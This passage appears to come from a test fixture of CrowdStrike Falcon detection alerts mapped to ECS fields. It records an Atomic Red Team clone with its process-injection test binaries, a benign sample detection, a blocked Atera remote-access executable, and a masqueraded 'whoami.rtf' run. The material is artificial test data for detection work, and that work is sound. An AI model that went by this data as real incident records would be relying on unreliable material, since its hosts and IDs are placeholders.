https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\"}}", - "reference": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "675853ca01ec441df7a015b91a7e1272", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" - }, - "name": "git", - "path": "/usr/bin/git" - }, - "host": { - "name": "linux-vm" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "git", - "clone", - "https://github.com/redcanaryco/atomic-red-team.git" - ], - "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", - "entity_id": "1719309930613520072", - "executable": "git", - "name": "git", - "parent": { - "args": [ - "-bash" - ], - "command_line": "-bash", - "entity_id": "1719308637781199091", - "executable": "-bash", - "pid": 1719308637781199091 - }, - "pid": 1719309930613520072, - "start": "2024-06-25T10:05:30.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", - "675853ca01ec441df7a015b91a7e1272" - ], - "hosts": [ - "linux-vm" - ], - "ip": [ - "172.17.0.1" - ], - "user": [ - "azureuser" - ] - }, - "rule": { - "name": "Known Malware" - }, - "source": { - "ip": "172.17.0.1" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "Malicious File" - ] - } - }, - "user": { - "name": "azureuser" - } - }, - { - "@timestamp": "2025-03-21T19:07:20.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106", - "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424", - "DataDomains": "Endpoint", - "Description": "For evaluation only - benign, no action needed.", - "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "explorer.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "HostGroups": [ - "88888888888888888888888888888888" - ], - "MACAddress": "00-0c-29-46-56-09", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10197", - "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "cccccccccccccccccccccccccccccccc", - "eventType": "EppDetectionSummaryEvent", - "offset": 1532939, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-03-21T19:07:20.000Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532939,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584040000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742583971,\"ProcessEndTime\":1742583972,\"ProcessId\":43185188660,\"ParentProcessId\":43146803382,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"For evaluation only - benign, no action needed.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"CommandLine\":\"choice /m crowdstrike_sample_detection\",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-0c-29-46-56-09\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionValue\":0,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"cmd.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"HostGroups\":\"88888888888888888888888888888888\",\"PatternId\":10197,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"LocalIPv6\":\"\"}}", - "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "00000000000000000000000000000000", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "0000000000000000000000000000000000000000000000000000000000000000" - }, - "name": "choice.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe" - }, - "host": { - "domain": "CISO-DUMMY-CSDEV", - "name": "CISO-DUMMY-CSDEV" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "choice", - "/m", - "crowdstrike_sample_detection" - ], - "command_line": "choice /m crowdstrike_sample_detection", - "end": "2025-03-21T19:06:12.000Z", - "entity_id": "43185188660", - "executable": "choice", - "name": "choice.exe", - "parent": { - "args": [ - "\"C:\\Windows\\system32\\cmd.exe\"" - ], - "command_line": "\"C:\\Windows\\system32\\cmd.exe\"", - "entity_id": "43146803382", - "executable": "\"C:\\Windows\\system32\\cmd.exe\"", - "pid": 43146803382 - }, - "pid": 43185188660, - "start": "2025-03-21T19:06:11.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "0000000000000000000000000000000000000000000000000000000000000000", - "00000000000000000000000000000000" - ], - "hosts": [ - "CISO-DUMMY-CSDEV" - ], - "ip": [ - "192.168.33.133" - ], - "user": [ - "Administrator" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "192.168.33.133" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "Malicious File" - ] - } - }, - "user": { - "name": "Administrator" - } - }, - { - "@timestamp": "2025-03-21T19:10:02.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054", - "AssociatedFile": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe", - "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080", - "DataDomains": "Endpoint", - "Description": "A process triggered a high severity custom rule.", - "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "GrandparentImageFileName": "userinit.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", - "HostGroups": [ - "88888888888888888888888888888888" - ], - "IOARuleGroupName": "Custom IOA Group - Windows", - "IOARuleInstanceID": "167", - "IOARuleInstanceVersion": 2, - "IOARuleName": "Initial Access via Remote Service (Atera) Block", - "IOCType": "hash_sha256", - "IOCValue": "0000000000000000000000000000000000000000000000000000000000000000", - "MACAddress": "00-ff-12-46-56-09", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "explorer.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": true, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 2048, - "PatternId": "41001", - "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "cccccccccccccccccccccccccccccccc", - "eventType": "EppDetectionSummaryEvent", - "offset": 1532956, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Prevention, process was blocked from execution.", - "category": [ - "malware" - ], - "created": "2025-03-21T19:10:02.000Z", - "kind": "alert", - "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532956,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584202000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742584138,\"ProcessEndTime\":1742584138,\"ProcessId\":43186863960,\"ParentProcessId\":43046029968,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"A process triggered a high severity custom rule.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"atera.exe.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"CommandLine\":\"\\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\\\" \",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-ff-12-46-56-09\",\"Tactic\":\"Custom Intelligence\",\"Technique\":\"Indicator of Attack\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"userinit.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"IOARuleInstanceID\":\"167\",\"IOARuleInstanceVersion\":2,\"IOARuleName\":\"Initial Access via Remote Service (Atera) Block\",\"IOARuleGroupName\":\"Custom IOA Group - Windows\",\"HostGroups\":\"88888888888888888888888888888888\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"PatternId\":41001,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"LocalIPv6\":\"\"}}", - "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "00000000000000000000000000000000", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "0000000000000000000000000000000000000000000000000000000000000000" - }, - "name": "atera.exe.exe", - "path": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe" - }, - "host": { - "domain": "CISO-DUMMY-CSDEV", - "name": "CISO-DUMMY-CSDEV" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"" - ], - "command_line": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"", - "end": "2025-03-21T19:08:58.000Z", - "entity_id": "43186863960", - "executable": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"", - "name": "atera.exe.exe", - "parent": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "43046029968", - "executable": "C:\\Windows\\Explorer.EXE", - "pid": 43046029968 - }, - "pid": 43186863960, - "start": "2025-03-21T19:08:58.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "0000000000000000000000000000000000000000000000000000000000000000", - "00000000000000000000000000000000" - ], - "hosts": [ - "CISO-DUMMY-CSDEV" - ], - "ip": [ - "192.168.33.133" - ], - "user": [ - "Administrator" - ] - }, - "rule": { - "name": "Suspicious Activity" - }, - "source": { - "ip": "192.168.33.133" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Custom Intelligence" - ] - }, - "technique": { - "name": [ - "Indicator of Attack" - ] - } - }, - "user": { - "name": "Administrator" - } - }, - { - "@timestamp": "2025-07-24T10:18:53.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048", - "DataDomains": "Endpoint", - "Description": "Anexecutablewasrunwithacontradictingfileextension", - "GrandparentCommandLine": "sshd:devuser@pts/0", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "MACAddress": "42-01-0a-80-00-18", - "Objective": "KeepAccess", - "ParentImageFileName": "bash", - "ParentImageFilePath": "/usr/bin/bash", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": true, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 272, - "PatternId": "145", - "PlatformId": "3", - "PlatformName": "Linux", - "SensorId": "4ebcabee560d4345b025d6c732656ba9", - "Severity": 50, - "SeverityName": "Medium", - "SourceProducts": "FalconInsight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2092190, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.", - "category": [ - "malware" - ], - "created": "2025-07-24T10:18:53.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1753352333000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2092190,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 47, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490" - }, - "name": "whoami.rtf", - "path": "/home/devuser/whoami.rtf" - }, - "host": { - "name": "navnit-test-instance" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "./whoami.rtf" - ], - "command_line": "./whoami.rtf", - "end": "2025-07-24T10:17:43.000Z", - "entity_id": "1753352263802791400", - "executable": "./whoami.rtf", - "name": "whoami.rtf", - "parent": { - "args": [ - "-bash" - ], - "command_line": "-bash", - "entity_id": "1753351172854337800", - "executable": "-bash", - "pid": 1753351172854337800 - }, - "pid": 1753352263802791400, - "start": "2025-07-24T10:17:43.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490", - "3e4129c7bb0c01793aa9ecad38ccb4d0" - ], - "hosts": [ - "navnit-test-instance" - ], - "ip": [ - "10.128.0.24" - ], - "user": [ - "devuser" - ] - }, - "rule": { - "name": "SuspiciousActivity" - }, - "source": { - "ip": "10.128.0.24" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "DefenseEvasion" - ] - }, - "technique": { - "name": [ - "Masquerading" - ] - } - }, - "user": { - "name": "devuser" - } - }, - { - "@timestamp": "2025-07-15T10:30:48.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760", - "DataDomains": "Endpoint", - "Description": "An informational level detection was triggered on this process for testing purposes.", - "GrandparentCommandLine": "cmd crowdstrike_test_medium", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentImageFileName": "cmd.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10307", - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 2021281, 